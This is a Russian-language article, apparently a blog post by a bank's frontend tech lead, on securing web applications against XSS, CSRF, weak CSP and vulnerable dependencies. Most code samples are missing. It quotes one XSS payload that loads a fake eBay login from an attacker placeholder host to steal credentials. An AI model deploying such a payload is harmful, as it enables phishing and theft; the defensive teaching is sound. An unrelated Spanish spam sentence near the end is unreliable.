«Хранить токен в localStorage — нормально», «У нас React, XSS нам не страшен», «У нас HTTPS, значит всё безопасно».
Это одни из самых распространённых заблуждений в современной веб-разработке.
Меня зовут Владимир Стариков, я Tech Lead Frontend в AO «Bereke Bank».
В первые годы работы я практически не задумывался о безопасности фронтенда. Казалось, что уязвимости — это зона ответственности backend-разработчиков и DevOps.
Фронтенд воспринимался как UI-слой: интерфейсы, компоненты, немного бизнес-логики.
Со временем стало понятно: фронтенд — это одна из самых уязвимых точек всей системы.
Современные приложения — это уже не просто HTML и CSS. Это:
Каждая такая зависимость — потенциальная точка атаки. А supply-chain атаки через npm уже давно стали одной из самых популярных лазеек для злоумышленников.
Когда я начал глубже разбираться в теме, стало очевидно: советов уровня «не использовать dangerouslySetInnerHTML» недостаточно.
В этой статье я разберу несколько распространённых уязвимостей, с которыми сталкиваются современные web-приложения, и дам практические рекомендации, как снизить риски.
Материал будет полезен:
Примеры приведены на React, но большинство рекомендаций актуальны для любого фронтенд-фреймворка.
Главный принцип веб-безопасности прост: лучшая уязвимость — та, которой нет.

Чаще всего разработчики выбирают между двумя вариантами:
Но у каждого из них есть свои особенности безопасности.

Плюсы
Минусы
Плюсы
Минусы
Если приложение уже подверглось XSS-атаке, cookie полностью не спасёт.Но значительно ограничит масштаб ущерба, поскольку токен нельзя просто прочитать через JS.

Санитизация — это очистка пользовательских данных от потенциально опасного кода.
Если её нет, злоумышленник может внедрить собственный JavaScript, который будет выполняться в браузере пользователей.
Пример уязвимого компонента
Если злоумышленник отправит такой комментарий:
то любой пользователь, открывший страницу, отправит свой токен злоумышленнику.
Если токен хранится в HttpOnly cookie — его нельзя прочитать напрямую.Но злоумышленник всё равно сможет:
Уязвимость может появиться не только в вашем компоненте.
Например, если вы:
Во всех этих случаях граница доверия переносится внутрь вашего приложения.
Нужно предпринять комплекс мер:
Пример санитизации:
В 2009 году в Twitter появилась XSS-уязвимость, которая позволила создать настоящий червь внутри социальной сети.
Злоумышленник встроил событие onmouseover в ссылку.
Когда пользователь наводил курсор:
Причина оказалась неожиданной:символ @ ломал HTML-парсер Twitter, что позволило обойти фильтрацию.
Пример вредоносного кода:
Теперь если вы наводили курсор на эту ссылку, вы публиковали тот же самый контент.
eBay поддерживал параметр запроса redirectTo. Проблема заключалась в том, что страницы, на которые можно было выполнить перенаправление, не обязательно проверяли параметры запроса в URL, на который перенаправлялся пользователь — что позволяло осуществлять XSS-атаки.
Пример: Злоумышленник создает копию страницы авторизации, которая имитирует оригинал от eBay (за исключением адресной строки, замену которой вряд-ли заметит рядовой пользователь). Далее задача злоумышленника внедрить примерно такой код: document.write(‘<iframec=»http://evilsite.com/ebay/signin.ebay.com/ws/eBayISAPI9f90.html” width=»1500″ height=»1000″>’)
И он прекрасно с этим справляется с помощью вредоносной ссылки и redirectTo от eBay:
Невнимательный пользователь вводит свои учетные данные и получает ошибку… хотя его данные уже улетели на сервер злоумышленника.

CSRF (Cross-Site Request Forgery) — атака, при которой злоумышленник заставляет браузер пользователя выполнить запрос к сайту.
Если защита отсутствует, можно:
Почему это работает? Потому что cookie автоматически отправляются браузером.
Пример:
Пользователь авторизован в банке.
Злоумышленник размещает на своём сайте форму:

Браузер автоматически прикладывает cookie.
Сервер думает, что запрос отправил пользователь.
Как воспроизвести и обнаружить?
Представим, что у вас есть форма с таким POST запросом смены email.
В теле запроса:
если в самой форме нет CSRF-токена, то с большой вероятностью вы уже уязвимы.
Вашу страницу можно будет скомпрометировать через обычный HTML.
Признаки CSRF-уязвимости
Один из эндпоинтов TikTok, отвечающий за сброс пароля, оказался уязвим к CSRF.
Это позволяло изменить пароль пользователя буквально в один клик.
CSP — механизм браузерной защиты, позволяющий указать: какой код разрешено выполнять, а какой — нет.
Где настраивать CSP
Правильно — через HTTP заголовок:
Допустимо — через <meta> в <head> вашего HTML
В этом примере мы разрешаем загрузку скриптов только с нашего домена и домена trusted.cdn.com
Однако в случае с meta-тегом этот способ не дает полной защиты, и имеет свои недостатки и ограничения. Но это в любом случае лучше чем ничего.
Важный нюанс
CSP не дает нам защиту по умолчанию. Очень часто можно встретить такую конфигурацию:
Наличие ‘unsafe-inline’ фактически разрешает выполнение встроенных скриптов и значительно снижает ценность CSP.
Пример строгого CSP

Пример более жёсткой политики.
Что здесь важно:
Проверить работу CSP можно через DevTools.
Откройте консоль и попробуйте выполнить:
Если вышла ошибка вроде этой:

значит политика действительно блокирует выполнение динамического кода.
Интересно и то, что подобную политику ставят себе многие бигтех компании (попробуйте выполнить этот код в консоли в YouTube или X).
Когда я впервые посмотрел на нашу CSP-политику, я увидел, что формально она существовала. Но по факту не обеспечивала максимальной защиты. В ней были разрешены inline-скрипты и загрузка ресурсов с внешних доменов — то есть технически CSP был настроен, но на практике не ограничивал почти ничего.
Проверить безопасность заголовков в запросах вашего приложения вы можете онлайн c помощью сервиса от Snyk.

Без инструментов вроде DerScanner, Snyk и NPM Audit риск наличия уязвимостей в зависимостях значительно возрастает. Библиотеки во фронтенде обновляются чуть ли не каждый день, и не всегда это новые фичи. Порой обновления связаны с дырами в безопасности, и, к счастью, разработчики NPM позаботились об этом.
Достаточно ввести в своем проекте такую команду:
И консоль выдаст вам все проблемные библиотеки и информацию о патчах.

Пример отчета от NPM Audit.
В таких случаях рекомендуется обновлять библиотеки вручную, либо используя команду:
Обновляет до безопасных версий в рамках semver
Может обновить до мажорных версий, но сломать API
В случае если в библиотеке найдена уязвимость, но патча еще нет, есть несколько вариантов:
По своему опыту могу сказать, что в моих проектах уязвимость уровня high в зависимостях появляется примерно раз в квартал. Именно поэтому важно регулярно проверять и обновлять зависимости, делая это аккуратно и с учетом обратной совместимости. Некоторые уязвимости в библиотеках позволяют проводить supply-chain атаки. Уязвимости такого рода особенно опасны тем, что одна зараженная библиотека может попасть сразу в тысячи других проектов.
Subresource Integrity — это механизм безопасности в браузере, который проверяет, не был ли подменен наш файл.
В основном SRI защищает нас от подмены файлов на CDN и MITM атак.
Рассматривайте его как дополнительный уровень защиты, особенно, если используете аналитику и другие сторонние виджеты.
Как это выглядит:
Пример скрипта с SRI
Как защищает:
Вы можете подключить SRI в свой проект используя подходящие библиотеки для вашего сборщика:
Для webpack: webpack-subresource-integrity
Для Vite: vite-plugin-csp-guard
Insecure Design — это класс уязвимостей, связанных с ошибками в проектировании системы: непродуманной бизнес-логикой, отсутствием ограничений и недостаточным учётом сценариев злоупотребления.
Особенность в том, что:
По данным OWASP Top 10, Insecure Design занял 6-е место в 2025 году, являясь одной из самых распространенных уязвимостей.
Пример уязвимости
Представим сервис покупки билетов в кино:
Что произойдет:
В итоге клиенты не могут купить место, а бизнес потерпел большой финансовый ущерб и репутационный удар.
Решение
С подобной уязвимостью я сталкивался неоднократно. Как фронтендер я в основном не мог технически исправить проблему, но мог выявить риск на этапе разработке и предупредить команду о потенциальной уязвимости.
Вывод
Веб-безопасность — это не набор отдельных правил.
Это образ мышления разработчика.
Современные фронтенд-приложения взаимодействуют:
Фронтенд давно перестал быть просто UI.
Сегодня это полноценная часть системы, подверженная тем же угрозам, что и backend.
И главный принцип остаётся прежним:
La elección de camisetas de fútbol para regalar mejora al comparar la temporada, el diseño y los detalles visibles. También ayuda revisar el precio total, el plazo de entrega y las condiciones de devolución antes de completar el pedido.
Лучшая уязвимость — та, которой нет.